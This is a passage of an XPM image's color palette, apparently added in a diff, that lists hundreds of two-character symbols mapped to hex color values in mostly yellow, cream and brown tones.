#F6F3C2", +"1$ c #FDFAC1", +"2$ c #F0ECC0", +"3$ c #EAE5BF", +"4$ c #F2EBBE", +"5$ c #F4EDBD", +"6$ c #F6EEBC", +"7$ c #F7EEBA", +"8$ c #F8EEB9", +"9$ c #F8EEB8", +"0$ c #F8EDB6", +"a$ c #F8ECB5", +"b$ c #F8EAB4", +"c$ c #F5E8B2", +"d$ c #F1E3B0", +"e$ c #EBDEAF", +"f$ c #E1D3AD", +"g$ c #F4EDAC", +"h$ c #FCF7AA", +"i$ c #DCCEA8", +"j$ c #DFCFA6", +"k$ c #E0D0A4", +"l$ c #E2D1A2", +"m$ c #E1CDA1", +"n$ c #DECA9F", +"o$ c #DEC89D", +"p$ c #DEC79B", +"q$ c #E0C999", +"r$ c #E2CA97", +"s$ c #E3CA95", +"t$ c #E4C993", +"u$ c #E4C891", +"v$ c #E6C88F", +"w$ c #E8C88D", +"x$ c #EAC88B", +"y$ c #ECC889", +"z$ c #EECC8C", +"A$ c #F6C784", +"B$ c #E5842D", +"C$ c #7C3D13", +"D$ c #A34800", +"E$ c #FEB77E", +"F$ c #FFE26A", +"G$ c #FDFF87", +"H$ c #FAFE7E", +"I$ c #FAFF81", +"J$ c #FBFF83", +"K$ c #FBFF85", +"L$ c #FBFF87", +"M$ c #FBFF89", +"N$ c #FBFF8B", +"O$ c #FBFF91", +"P$ c #FBFF93", +"Q$ c #FCFF9D", +"R$ c #FCFF9F", +"S$ c #FCFFA1", +"T$ c #FCFFA3", +"U$ c #FCFFA7", +"V$ c #FCFFAC", +"W$ c #FCFFAF", +"X$ c #FCFFB1", +"Y$ c #FCFFB4", +"Z$ c #FCFFB8", +"`$ c #FBFEB9", +" % c #F9FBBB", +".% c #F5F7BB", +"+% c #F0F3BC", +"@% c #E7EBBE", +"#% c #FAF8BF", +"$% c #EBEBC0", +"%% c #E9ECC2", +"&% c #F1F3C2", +"*% c #F5F7C3", +"=% c #F8FBC4", +"-% c #FAFCC5", +";% c #FAFDC5", +">% c #F8FBC5", +",% c #F9FAC6", +"'% c #F9F9C6", +")% c #F1F4C7", +"!% c #EBEEC6", +"~% c #E5E8C6", +"{% c #EFEFC6", +"]% c #FBFAC6", +"^% c #F9F8C6", +"/% c #F5F5C6", +"(% c #F3F3C6", +"_% c #F2F1C6", +":% c #F1F0C5", +"<% c #F0EEC5", +"[% c #F0EFC5", +"}% c #F3F1C4", +"|% c #F8F5C3", +"1% c #FCFAC2", +"2% c #F2F0C1", +"3% c #E0DDC1", +"4% c #DFDCC0", +"5% c #EFEBBF", +"6% c #FFFDBE", +"7% c #F1ECBD", +"8% c #E9E3BC", +"9% c #F1EABB", +"0% c #F4EBBA", +"a% c #F6EDB9", +"b% c #F7EDB7", +"c% c #F8ECB3", +"d% c #F7EAB2", +"e% c #F4E7B0", +"f% c #EFE2AE", +"g% c #EADDAD", +"h% c #DECFAB", +"i% c #EEE6A9", +"j% c #FEFAA8", +"k% c #D9CDA6", +"l% c #D6C8A5", +"m% c #CEC0A3", +"n% c #CEBDA1", +"o% c #D6C79F", +"p% c #DED09D", +"q% c #E2D49B", +"r% c #E2D29A", +"s% c #DECA98", +"t% c #D9C296", +"u% c #D5BA94", +"v% c #D4B891", +"w% c #D7BC90", +"x% c #DDC18D", +"y% c #E0C28B", +"z% c #E3C289", +"A% c #E6C487", +"B% c #EAC98B", +"C% c #F4C582", +"D% c #E2832D", +"E% c #4A1A25", +"F% c #FFE269", +"G% c #FDFF86", +"H% c #FAFE7D", +"I% c #FAFE7F", +"J% c #FBFF8C", +"K% c #FBFF8E", +"L% c #FBFF94", +"M% c #FAFDB7", +"N% c #F7FAB9", +"O% c #F3F6BA", +"P% c #EBEDBB", +"Q% c #EFF0BC", +"R% c #FFFEBD", +"S% c #EEEEBD", +"T% c #E5E9BF", +"U% c #EFF1BF", +"V% c #F3F6C0", +"W% c #F7FAC1", +"X% c #F9FCC2", +"Y% c #FAFDC2", +"Z% c #FAFDC3", +"`% c #F8FBC3", +" & c #F7F9C4", +".& c #F1F4C4", +"+& c #EDF0C4", +"@& c #E7EAC4", +"#& c #F2F2C4", +"$& c #FDFBC4", +"%& c #F1F1C4", +"&& c #E9EAC4", +"*& c #EAEBC4", +"=& c #EDEEC4", +"-& c #F0EFC4", +";& c #F1EFC3", +">& c #F1F0C2", +",& c #F0EFC2", +"'& c #EDEBC2", +")& c #EAE7C1", +"!& c #EFECC0", +"~& c #FCF9C0", +"{& c #F8F4BF", +"]& c #E3E0BE", +"^& c #DCD8BD", +"/& c #ECE8BC", +"(& c #FFFDBB", +"_& c #EDE8BA", +":& c #EAE2B9", +"<& c #F1E9B8", +"[& c #F4EAB7", +"}& c #F6ECB5", +"|& c #F7ECB4", +"1& c #F7EBB3", +"2& c #F8EBB1", +"3& c #F7EAB0", +"4& c #F4E6AE", +"5& c #EEE0AC", +"6& c #E8DBAB", +"7& c #DACDAA", +"8& c #EFE7A8", +"9& c #FCF6A6", +"0& c #D0C4A5", +"a& c #D0C4A3", +"b& c #E2D9A1", +"c& c #E7E09F", +"d& c #F6F19D", +"e& c #FBF69B", +"f& c #F6EF9A", +"g& c #F9F298", +"h& c #FCF695", +"i& c #F9F194", +"j& c #F2E992", +"k& c #E7D990", +"l& c #D8C28E", +"m& c #CDB18C", +"n& c #CCAE8A", +"o& c #D7BA88", +"p& c #DEBF86", +"q& c #E4C48A", +"r& c #EFC181", +"s& c #DE802C", +"t& c #7B3C13", +"u& c #FFE268", +"v& c #FDFF84", +"w& c #FAFE7C", +"x& c #FBFF82", +"y& c #FBFF96", +"z& c #FBFF98", +"A& c #FBFF9A", +"B& c #FCFF9B", +"C& c #FCFFAA", +"D& c #FAFCB5", +"E& c #F6F8B7", +"F& c #F1F3B8", +"G& c #E8EBB9", +"H& c #FBF8BA", +"I& c #FAF7BB", +"J& c #E4E7BC", +"K& c #EDEFBC", +"L& c #F2F4BD", +"M& c #F6F9BE", +"N& c #FAFDBE", +"O& c #FBFEBF", +"P& c #FBFEC0", +"Q& c #FAFDC1", +"R& c #F7FBC1", +"S& c #F3F7C1", +"T& c #F0F3C2", +"U& c #E8ECC2", +"V& c #F2F2C2", +"W& c #F9F7C2", +"X& c #E6E8C2", +"Y& c #E2E4C2", +"Z& c #EBEBC2", +"`& c #EFEFC2", +" * c #F1F1C2", +".* c #F3F2C1", +"+* c #F4F2C1", +"@* c #F4F2C0", +"#* c #F3F2BF", +"$* c #F9F6C3", +"%* c #FFFCCA", +"&* c #FFFDCE", +"** c #FFFCCF", +"=* c #FFFFD0", +"-* c #FFFFCF", +";* c #FBF8CE", +">* c #F1EDCC", +",* c #FFFCC9", +"'* c #F0E9BC", +")* c #EDE5B7", +"!* c #F2E9B5", +"~* c #F5EBB4", +"{* c #F6EBB2", +"]* c #F7EBB1", +"^* c #F7EAAF", +"/* c #F6E8AD", +"(* c #F2E4AD", +"_* c #ECDEAB", +":* c #E6D8A9", +"<* c #D7CAA8", +"[* c #F6EEA6", +"}* c #FAF5A4", +"|* c #C7BAA3", +"1* c #D2C6A1", +"2* c #FFFF9F", +"3* c #FFFF9D", +"4* c #EBE59C", +"5* c #BEB39A", +"6* c #C7B998", +"7* c #D1C296", +"8* c #DCCC94", +"9* c #E4D692", +"0* c #EEE490", +"a* c #FCF88F", +"b* c #FFFF8C", +"c* c #F4EE8B", +"d* c #D9C689", +"e* c #C4A886", +"f* c #CDAF84", +"g* c #DDC088", +"h* c #E8BC7F", +"i* c #D77D2A", +"j* c #793B12", +"k* c #FFE267", +"l* c #FDFF82", +"m* c #FAFE7A", +"n* c #FBFEB2", +"o* c #F8FBB3", +"p* c #F4F6B5", +"q* c #EEF1B6", +"r* c #EAECB7", +"s* c #FEFAB8", +"t* c #F0F0B9", +"u* c #E7EBBA", +"v* c #F0F2BA", +"w* c #F9FCBC", +"x* c #FBFEBD", +"y* c #FBFEBE", +"z* c #F9FCBE", +"A* c #F6F9BF", +"B* c #F3F6BF", +"C* c #ECEFBF", +"D* c #EFF0C0", +"E* c #FEFBC0", +"F* c #EEEEC0", +"G* c #EDEEC0", +"H* c #F1F0C0", +"I* c #EEEEBF", +"J* c #F1F2BF", +"K* c #F4F3BE", +"L* c #FFFFD2", +"M* c #E8E9B4", +"N* c #C7C89B", +"O* c #BABA91", +"P* c #B0AE8C", +"Q* c #9D997F", +"R* c #9D9973", +"S* c #A09B79", +"T* c #A19E86", +"U* c #A19F89", +"V* c #C0C293", +"W* c #E3E3A8", +"X* c #F3ECBE", +"Y* c #FFF8C2", +"Z* c #FAEFB7", +"`* c #F7EAB1", +" = c #F8EBB0", +".= c #F7E9AE", +"+= c #F5E6AC", +"@= c #EFE2AB", +"#= c #E9DBA9", +"$= c #E0D3A7", +"%= c #D9CCA6", +"&= c #FFFCA4", +"*= c #EDE6A2", +"== c #C6B8A1", +"-= c #CCC19F", +";= c #F5F09D", +">= c #FFFF9B", +",= c #F8F69A", +"'= c #C8BD99", +")= c #AEA096", +"!= c #C4B495", +"~= c #CBB693", +"{= c #CEB691", +"]= c #CCB18F", +"^= c #D0B78D", +"/= c #DFD18B", +"(= c #FFFF89", +"_= c #FFFF87", +":= c #EBE085", +"<= c #C2A783", +"[= c #C9AD87", +"}= c #E0B87D", +"|= c #CC7728", +"1= c #753912", +"2= c #491A24", +"3= c #CB671C", +"4= c #FFE266", +"5= c #FDFF81", +"6= c #FAFE78", +"7= c #FAFE7B", +"8= c #FBFF81", +"9= c #FCFF98", +"0= c #FDFF9D", +"a= c #FCFFA5", +"b= c #FAFEB0", +"c= c #F7FAB1", +"d= c #F2F5B3", +"e= c #EBEEB4", +"f= c #EFEFB5", +"g= c #FBF8B6", +"h= c #E9EBB7", +"i= c #ECEFB7", +"j= c #F2F4B8", +"k= c #F7F9B9", +"l= c #FAFEBA", +"m= c #FBFFBB", +"n= c #FBFEBC", +"o= c #F6F9BC", +"p= c #F1F5BD", +"q= c #EBEFBD", +"r= c #FEFABD", +"s= c #FDFBBD", +"t= c #F2F1BD", +"u= c #F1F1BD", +"v= c #F7F5BD", +"w= c #F8F5BD", +"x= c #EFEFBB", +"y= c #FFFFCC", +"z= c #FFFFD4", +"A= c #D6D9A7", +"B= c #B0B189", +"C= c #A4A17E", +"D= c #8B836A", +"E= c #897D65", +"F= c #A49276", +"G= c #AD997D", +"H= c #AD977B", +"I= c #AC957A", +"J= c #AD9778", +"K= c #AD9776", +"L= c #9D896B", +"M= c #7D6F58", +"N= c #857C5C", +"O= c #8F886B", +"P= c #959376", +"Q= c #D3CE9E", +"R= c #FFF5B8", +"S= c #F6E9AE", +"T= c #F8EAAD", +"U= c #F4E6AB", +"V= c #ECDFA9", +"W= c #E5D8A7", +"X= c #D5C7A5", +"Y= c #E9E0A4", +"Z= c #FFFFA2", +"`= c #DACEA1", +" - c #D0C39F", +".- c #CBBC9D", +"+- c #C0B49C", +"@- c #EEE89A", +"#- c #FFFF98", +"$- c #FFFE97", +"%- c #C7BD94", +"&- c #B6A793", +"*- c #CEBC91", +"=- c #D5BF8F", +"-- c #D8C08D", +";- c #D3B98B", +">- c #C4A889", +",- c #C6AE87", +"'- c #ECE485", +")- c #FFFF83", +"!- c #F0E881", +"~- c #C2AB85", +"{- c #CDA67B", +"]- c #BF7026", +"^- c #6F3611", +"/- c #481A24", +"(- c #FFE265", +"_- c #FDFF7F", +":- c #FAFE77", +"<- c #FAFE79", +"[- c #FAFF7F", +"}- c #FBFE94", +"|- c #FAFE96", +"1- c #FAFD98", +"2- c #FAFD99", +"3- c #FAFD9B", +"4- c #FAFE9D", +"5- c #FBFE9E", +"6- c #FBFFA3", +"7- c #FBFFA5", +"8- c #FBFFAC", +"9- c #FAFDAE", +"0- c #F6F8AF", +"a- c #F1F4B0", +"b- c #E9ECB1", +"c- c #F3F2B2", +"d- c #F9F6B3", +"e- c #E6E9B4", +"f- c #EFF1B5", +"g- c #F3F5B6", +"h- c #F7FBB7", +"i- c #FBFEB7", +"j- c #FBFFB8", +"k- c #FBFFB9", +"l- c #F9FCBA", +"m- c #F6F9BA", +"n- c #F0F4BB", +"o- c #F3F4BB", +"p- c #FCF9BB", +"q- c #E6E9BB", +"r- c #E6E8B9", +"s- c #FFFFC4", +"t- c #FFFFD5", +"u- c #C7CB9E", +"v- c #8E8E70", +"w- c #827A66", +"x- c #A1917B", +"y- c #C0AB92", +"z- c #DFC8AA", +"A- c #F8E0BD", +"B- c #FCE5C1", +"C- c #F9E2BE", +"D- c #F6DFBB", +"E- c #F4DDB8", +"F- c #F4DCB5", +"G- c #F6DCB3", +"H- c #F8DCB1", +"I- c #F1D3A6", +"J- c #D8B990", +"K- c #BDA27B", +"L- c #907B5F", +"M- c #625B48", +"N- c #888767", +"O- c #E1D79F", +"P- c #F1E2A7", +"Q- c #F0E2A8", +"R- c #ECDFA8", +"S- c #DACCA5", +"T- c #D7C9A3", +"U- c #F4EDA1", +"V- c #CFC09F", +"W- c #D9C99D", +"X- c #D7C89C", +"Y- c #C4B69A", +"Z- c #BFB298", +"`- c #F9F497", +" ; c #FFFC93", +".; c #C3B691", +"+; c #C0AD8F", +"@; c #D5BE8D", +"#; c #DBC18B", +"$; c #DCC08A", +"%; c #D8BD88", +"&; c #C5AB86", +"*; c #B59B84", +"=; c #E9DF82", +"-; c #FFFF80", +";; c #EFE784", +">; c #BF9C79", +",; c #AE6523", +"'; c #69330F", +"); c #471A23", +"!; c #4E211E", +"~; c #FFE264", +"{; c #FCFF7E", +"]; c #FAFE76", +"^; c #FAFE8D", +"/; c #FAFD8F", +"(; c #F9FC91", +"_; c #F7FA93", +":; c #F6F994", +"<; c #F5F896", +"[; c #F5F898", +"}; c #F5F89A", +"|; c #F6F99B", +"1; c #F7FA9D", +"2; c #F8FB9E", +"3; c #F8FBA0", +"4; c #F9FCA1", +"5; c #F8FCA3", +"6; c #F8FCA4", +"7; c #F9FCA6", +"8; c #F9FCA7", +"9; c #FAFDA8", +"0; c #FBFEA9", +"a; c #FBFFAB", +"b; c #FAFDAC", +"c; c #F5F8AD", +"d; c #F0F3AE", +"e; c #E7EBAF", +"f; c #F8F5B0", +"g; c #F8F5B1", +"h; c #E5E9B2", +"i; c #EEF1B3", +"j; c #F3F5B4", +"k; c #F8FBB5", +"l; c #FBFEB5", +"m; c #FBFFB6", +"n; c #FAFEB7", +"o; c #F9FCB8", +"p; c #F6F9B8", +"q; c #F1F5B8", +"r; c #FBF9B9", +"s; c #F2F3B8", +"t; c #E9EDB9", +"u; c #EDEFB8", +"v; c #F1F3BA", +"w; c #FFFFD1", +"x; c #DEE2AF", +"y; c #8A8A6D", +"z; c #827864", +"A; c #AB9986", +"B; c #F3DDBF", +"C; c #FFEFCD", +"D; c #F6E3C5", +"E; c #ECDBC0", +"F; c #EAD9BE", +"G; c #EAD9BD", +"H; c #EAD8BC", +"I; c #E9D6BA", +"J; c #E8D5B6", +"K; c #E7D3B4", +"L; c #E6D1B1", +"M; c #E5CFAD", +"N; c #E3CDA9", +"O; c #E3CBA5", +"P; c #EBD0A4", +"Q; c #FDDCA7", +"R; c #D2B387", +"S; c #6B5C47", +"T; c #575541", +"U; c #B8AF80", +"V; c #E0D39D", +"W; c #E2D4A4", +"X; c #E7DBA5", +"Y; c #F7F3A2", +"Z; c #FDFCA0", +"`; c #D6C89F", +" > c #D5C59C", +".> c #DECD9B", +"+> c #DDCB9A", +"@> c #D7C798", +"#> c #BEAF96", +"$> c #CFC495", +"%> c #FFFF93", +"&> c #FFFF91", +"*> c #E5DD8F", +"=> c #BDAB8D", +"-> c #D2BB8C", +";> c #DDC18A", +">> c #E1C388", +",> c #DEC086", +"'> c #D4B984", +")> c #BDA382", +"!> c #B9A380", +"~> c #FAF67E", +"{> c #CEB478", +"]> c #985221", +"^> c #64310E", +"/> c #451921", +"(> c #FFE263", +"_> c #FCFF7C", +":> c #FAFE74", +"<> c #FAFE88", +"[> c #F9FD89", +"}> c #F8FC8B", +"|> c #F6FA8D", +"1> c #F4F78F", +"2> c #F2F591", +"3> c #F0F393", +"4> c #EFF194", +"5> c #EEF196", +"6> c #EEF198", +"7> c #F0F299", +"8> c #F1F39B", +"9> c #F1F49C", +"0> c #F2F59E", +"a> c #F3F59F", +"b> c #F3F5A1", +"c> c #F2F5A2", +"d> c #F3F6A4", +"e> c #F8FBA7", +"f> c #F7FAA6", +"g> c #FAFDA9", +"h> c #F9FCAA", +"i> c #F4F7AB", +"j> c #EFF2AC", +"k> c #E6EAAD", +"l> c #F8F5AE", +"m> c #F7F4AF", +"n> c #E4E7B0", +"o> c #EDF0B1", +"p> c #F2F5B2", +"q> c #FBFEB3", +"r> c #FBFFB3", +"s> c #FBFFB4", +"t> c #FAFEB5", +"u> c #F9FDB6", +"v> c #F6FAB6", +"w> c #F6F9B6", +"x> c #F8F8B6", +"y> c #F0F3B7", +"z> c #F0F3B4", +"A> c #FFFFC6", +"B> c #A6A87F", +"C> c #746F5B", +"D> c #A49582", +"E> c #FBE6C9", +"F> c #FFF2D4", +"G> c #ECDDC3", +"H> c #ECDDC5", +"I> c #ECDEC6", +"J> c #EDDEC5", +"K> c #ECDDC4", +"L> c #ECDBC2", +"M> c #EBDAC0", +"N> c #E8D6B9", +"O> c #E8D4B6", +"P> c #E6D2B0", +"Q> c #E5D0AE", +"R> c #E3CEAB", +"S> c #E2CBA7", +"T> c #DDC59E", +"U> c #ECCE9F", +"V> c #FCD7A1", +"W> c #877257", +"X> c #3D3C2F", +"Y> c #9D966F", +"Z> c #CABC94", +"`> c #F1E9A0", +" , c #FFFFA1", +"., c #DDD19E", +"+, c #CBBC9C", +"@, c #DDCE9B", +"#, c #E1CF99", +"$, c #E3CF98", +"%, c #DECC96", +"&, c #D2C194", +"*, c #B7A893", +"=, c #EFE791", +"-, c #FFFE8F", +";, c #F4EE8D", +">, c #CFC08C", +",, c #C7AF8A", +"', c #DCC088", +"), c #E4C486", +"!, c #E4C384", +"~, c #DBBC82", +"{, c #CEB380", +"], c #B0967F", +"^, c #D4C47C", +"/, c #FFFF81", +"(, c #E5D376", +"_, c #8F4C1F", +":, c #5E2D0D", +"<, c #431821", +"[, c #4D201E", +"}, c #FFE261", +"|, c #FCFF7A", +"1, c #F9FE73", +"2, c #FAFE75", +"3, c #FAFE84", +"4, c #F8FC86", +"5, c #F7FA88", +"6, c #F4F88A", +"7, c #F1F58B", +"8, c #EEF18D", +"9, c #ECEE8F", +"0, c #E6EA90", +"a, c #E3E792", +"b, c #E3E794", +"c, c #E3E795", +"d, c #E5E997", +"e, c #E9ED99", +"f, c #EBEE9A", +"g, c #ECEF9C", +"h, c #ECEE9D", +"i, c #EBEE9E", +"j, c #E8EC9F", +"k, c #F8FCAA", +"l, c #EEF5A1", +"m, c #FAFDAA", +"n, c #F7FBA7", +"o, c #F8FCA9", +"p, c #F3F6A9", +"q, c #EFF1AA", +"r, c #E5E9AB", +"s, c #F4F3AB", +"t, c #F9F5AC", +"u, c #E2E6AE", +"v, c #ECEEAE", +"w, c #F1F5AF", +"x, c #F7FAB0", +"y, c #FAFEB1", +"z, c #FBFFB1", +"A, c #FBFFB2", +"B, c #FAFEB3", +"C, c #F9FDB3", +"D, c #F7FCB3", +"E, c #F6FAB4", +"F, c #F4F8B4", +"G, c #F4F7B2", +"H, c #E6EBAE", +"I, c #807F61", +"J, c #857A6C", +"K, c #E5D4BD", +"L, c #FFF9DB", +"M, c #EEDFC8", +"N, c #EDDFC9", +"O, c #EFE1CB", +"P, c #EEE1CB", +"Q, c #EEE0CA", +"R, c #EDDFC7", +"S, c #ECDCC4", +"T, c #EADAC0", +"U, c #EDDBC0", +"V, c #FBE7C6", +"W, c #FFEDCA", +"X, c #FFEAC5", +"Y, c #FEE5BF", +"Z, c #FFE8C0", +"`, c #F0D8B4", +" ' c #E1CBA8", +".' c #DFC7A0", +"+' c #E0C599", +"@' c #FFDCA4", +"#' c #917A5D", +"$' c #3A392C", +"%' c #988F6D", +"&' c #C2B68C", +"*' c #FFFC9D", +"=' c #EEE79E", +"-' c #CEBF9B", +";' c #DCCB99", +">' c #E3CF97", +",' c #E7D196", +"'' c #E4CF94", +")' c #DAC693", +"!' c #BEAC91", +"~' c #D0C58F", +"{' c #FFFF8D", +"]' c #FBF58C", +"^' c #DED48A", +"/' c #BDA788", +"(' c #D7BD86", +"_' c #E3C384", +":' c #E7C582", +"<' c #E1BF81", +"[' c #D4B57E", +"}' c #BCA07D", +"|' c #C2AD7B", +"1' c #FFFF7F", +"2' c #FBEE74", +"3' c #97571F", +"4' c #5A280D", +"5' c #431820", +"6' c #4C201E", +"7' c #FFE260", +"8' c #FCFF78", +"9' c #F9FE71", +"0' c #F9FE81", +"a' c #F7FC82", +"b' c #F5F984", +"c' c #F2F686", +"d' c #EEF188", +"e' c #EAED8A", +"f' c #E1E68B", +"g' c #DEE18D", +"h' c #E7E88F", +"i' c #F0EF90", +"j' c #F6F392", +"k' c #F5F393", +"l' c #EAEA95", +"m' c #E0E397", +"n' c #DFE398", +"o' c #E1E49A", +"p' c #DFE39B", +"q' c #E0E39C", +"r' c #F6F8AB", +"s' c #BABC83", +"t' c #726D56", +"u' c #9B9D6D", +"v' c #EFF3A4", +"w' c #F3F5A6", +"x' c #F1F4A4", +"y' c #F3F6A7", +"z' c #EFF2A8", +"A' c #E5E9A8", +"B' c #EFEFA9", +"C' c #FFFAAA", +"D' c #E5E7AB", +"E' c #E7EBAC", +"F' c #EFF2AD", +"G' c #F5F9AD", +"H' c #F9FDAE", +"I' c #FBFFAF", +"J' c #FBFFB0", +"K' c #F9FDB1", +"L' c #F8FDB1", +"M' c #F7FCB1", +"N' c #F8FCB1", +"O' c #FFFFC9", +"P' c #C9CD92", +"Q' c #6C6852", +"R' c #B6A798", +"S' c #FFF8DE", +"T' c #F8EAD3", +"U' c #EDE0CC", +"V' c #F0E3D0", +"W' c #F0E3CF", +"X' c #EFE3CE", +"Y' c #EEE1CC", +"Z' c #EDDEC8", +"`' c #F0E0C7", +" ) c #FFF2D3", +".) c #FFF5D3", +"+) c #EDD7B9", +"@) c #BCA991", +"#) c #9D8D78", +"$) c #92846E", +"%) c #91836B", +"&) c #93826E", +"*) c #C1A98E", +"=) c #FFE6BB", +"-) c #F0D9B1", +";) c #DFC8A4", +">) c #DFC7A1", +",) c #DFC497", +"') c #FFDCA3", +")) c #7D6B51", +"!) c #3A392B", +"~) c #988C6F", +"{) c #CAC089", +"]) c #FFFF9A", +"^) c #E2D59A", +"/) c #D3C097", +"() c #E3CF95", +"_) c #E8D194", +":) c #E7D092", +"<) c #DFC991", +"[) c #CDBA8F", +"}) c #B9AA8D", +"|) c #FFFF8A", +"1) c #EAE188", +"2) c #C0AC86", +"3) c #D0B585", +"4) c #E0C083", +"5) c #E8C480", +"6) c #E4C17F", +"7) c #D9B87D", +"8) c #C3A27B", +"9) c #D1BD79", +"0) c #FFFF7D", +"a) c #FFF473", +"b) c #A06020", +"c) c #FFE25F", +"d) c #FCFF76", +"e) c #F9FE70", +"f) c #F9FE72", +"g) c #F9FE74", +"h) c #F9FE7D", +"i) c #F7FC7F", +"j) c #F5F981", +"k) c #F0F482", +"l) c #ECEF84", +"m) c #E3E786", +"n) c #DADF88", +"o) c #E6E789", +"p) c #F7F58B", +"q) c #FBF78D", +"r) c #F9F58E", +"s) c #F3F090", +"t) c #F4F192", +"u) c #FBF793", +"v) c #F9F695", +"w) c #E6E796", +"x) c #E3E598", +"y) c #F4F199", +"z) c #F6F59C", +"A) c #FBF997", +"B) c #968E6C", +"C) c #D6BCB4", +"D) c #918379", +"E) c #6D704D", +"F) c #C3C886", +"G) c #D6D892", +"H) c #ECEFA2", +"I) c #EFF3A7", +"J) c #E7EBA7", +"K) c #E5E8A7", +"L) c #FFFDA8", +"M) c #EFEEA9", +"N) c #DFE4A9", +"O) c #ECEFAA", +"P) c #F3F6AB", +"Q) c #F8FBAC", +"R) c #FAFEAC", +"S) c #FBFFAD", +"T) c #FAFEAE", +"U) c #FAFFAF", +"V) c #B8BC81", +"W) c #6A6253", +"X) c #DBCCBD", +"Y) c #FFFCE3", +"Z) c #EFE2CE", +"`) c #F0E4D2", +" ! c #F1E6D4", +".! c #F1E6D3", +"+! c #F0E4D0", +"@! c #EEE0CC", +"#! c #FCECD3", +"$! c #FFFDDE", +"%! c #F4E1C6", +"&! c #B0A08C", +"*! c #7D7261", +"=! c #68614C", +"-! c #4E4A36", +";! c #504E37", +">! c #666547", +",! c #797755", +"'! c #7A7759", +")! c #757451", +"!! c #787353", +"~! c #7B6D5B", +"{! c #D4BB9A", +"]! c #FCE2B8", +"^! c #DEC8A3", +"/! c #E5C899", +"(! c #EFCC96", +"_! c #514736", +":! c #4E4B39", +"~ c #E2D3BB", +",~ c #8F8474", +"'~ c #585343", +")~ c #45442E", +"!~ c #4E4F32", +"~~ c #818055", +"{~ c #B2AE78", +"]~ c #CEC78B", +"^~ c #D7D195", +"/~ c #DED69A", +"(~ c #E0D6A2", +"_~ c #FEF8AB", +":~ c #EFEBA1", +"<~ c #938F70", +"[~ c #615A48", +"}~ c #C5AD8E", +"|~ c #F9DFB6", +"1~ c #E0C8A3", +"2~ c #DDC49B", +"3~ c #FAD8A1", +"4~ c #B49972", +"5~ c #353226", +"6~ c #776E54", +"7~ c #AA9E77", +"8~ c #FEF991", +"9~ c #E8DB95", +"0~ c #D6C191", +"a~ c #E4CE90", +"b~ c #E7CF8E", +"c~ c #E2CA8C", +"d~ c #D6C08B", +"e~ c #BBA78A", +"f~ c #CEC188", +"g~ c #FFFF86", +"h~ c #FEF984", +"i~ c #CCBC83", +"j~ c #BFA581", +"k~ c #DABB7F", +"l~ c #E4C17D", +"m~ c #E6C07B", +"n~ c #E0BB7A", +"o~ c #D6B378", +"p~ c #D5B776", +"q~ c #D8C17A", +"r~ c #DDBE71", +"s~ c #B96D24", +"t~ c #683110", +"u~ c #441922", +"v~ c #A34700", +"w~ c #FFE25D", +"x~ c #FCFF73", +"y~ c #F9FE6C", +"z~ c #F9FE76", +"A~ c #F8FD77", +"B~ c #F5FA7A", +"C~ c #F0F47B", +"D~ c #EAED7D", +"E~ c #DEE27F", +"F~ c #D3D781", +"G~ c #F8F582", +"H~ c #FFF984", +"I~ c #D9DB86", +"J~ c #D1D687", +"K~ c #D9DD89", +"L~ c #DDE08B", +"M~ c #DEE18C", +"N~ c #DCDF8F", +"O~ c #D9DD91", +"P~ c #E5E692", +"Q~ c #E6E894", +"R~ c #DCE095", +"S~ c #F5FAA6", +"T~ c #909565", +"U~ c #988B7D", +"V~ c #FFF2D2", +"W~ c #F2E2C5", +"X~ c #FFF1D7", +"Y~ c #554F46", +"Z~ c #4B5030", +"`~ c #ADB078", +" { c #D8DA97", +".{ c #E7E9A4", +"+{ c #DADEA3", +"@{ c #E1E1A4", +"#{ c #FFFEA4", +"${ c #E1E1A5", +"%{ c #DBDFA6", +"&{ c #EAEDA7", +"*{ c #F1F5A7", +"={ c #F7FBA8", +"-{ c #FAFEA8", +";{ c #FAFFA9", +">{ c #F9FFA7", +",{ c #C2C882", +"'{ c #6C6458", +"){ c #F3E5D5", +"!{ c #FFF6DF", +"~{ c #EFE4D2", +"{{ c #F2E8D8", +"]{ c #F2E9D9", +"^{ c #F2E8D7", +"/{ c #EFE2D0", +"({ c #FFFEE6", +"_{ c #FCEED6", +":{ c #8E8575", +"<{ c #413F31", +"[{ c #383924", +"}{ c #6A6A45", +"|{ c #AAA772", +"1{ c #C9C387", +"2{ c #D9D391", +"3{ c #EAE29D", +"4{ c #F2E9A3", +"5{ c #F3EAA6", +"6{ c #F2E8A6", +"7{ c #EAE0A5", +"8{ c #F3ECA4", +"9{ c #F4EDA3", +"0{ c #FBF0B7", +"a{ c #C4BF8D", +"b{ c #736A54", +"c{ c #E4CAA6", +"d{ c #E8D0AA", +"e{ c #E2CAA4", +"f{ c #DDC396", +"g{ c #F4D199", +"h{ c #60553F", +"i{ c #44422F", +"j{ c #887B62", +"k{ c #DFD885", +"l{ c #F8EF93", +"m{ c #D4BF90", +"n{ c #E1CB8E", +"o{ c #E5CC8C", +"p{ c #E1C98B", +"q{ c #D6C089", +"r{ c #BDA888", +"s{ c #C8BB86", +"t{ c #FFFC84", +"u{ c #FBF583", +"v{ c #D4C681", +"w{ c #BBA27F", +"x{ c #D6B87E", +"y{ c #E2BF7B", +"z{ c #E6BF7A", +"A{ c #E1BB78", +"B{ c #DBB776", +"C{ c #D1AB74", +"D{ c #CBA778", +"E{ c #D0A16F", +"F{ c #C27026", +"G{ c #6F3711", +"H{ c #461923", +"I{ c #602D19", +"J{ c #CC671D", +"K{ c #FFE25C", +"L{ c #FBFF71", +"M{ c #F9FE6B", +"N{ c #F9FE6D", +"O{ c #F9FE6F", +"P{ c #F6FC76", +"Q{ c #F1F677", +"R{ c #EAEE7A", +"S{ c #E1E47B", +"T{ c #CCD27D", +"U{ c #EFEC7E", +"V{ c #FFFD81", +"W{ c #CFD182", +"X{ c #CBCF83", +"Y{ c #D7DA86", +"Z{ c #DADD87", +"`{ c #DCDE89", +" ] c #DCDF8A", +".] c #DDDF8C", +"+] c #DDE08D", +"@] c #DEE18F", +"#] c #DDE190", +"$] c #E0E392", +"%] c #E5E893", +"&] c #FFFFA3", +"*] c #989C63", +"=] c #A09385", +"-] c #FFEFD0", +";] c #E7D7BB", +">] c #FFF7D9", +",] c #C9B7A5", +"'] c #343526", +")] c #7B7E55", +"!] c #B3B57F", +"~] c #DADC9C", +"{] c #DADDA3", +"]] c #C5C9A1", +"^] c #F1EDA2", +"/] c #F9F7A3", +"(] c #D5D9A3", +"_] c #E3E6A4", +":] c #ECF0A5", +"<] c #F3F7A5", +"[] c #F6FAA6", +"}] c #F8FCA6", +"|] c #F5FBA4", +"1] c #FFFFBB", 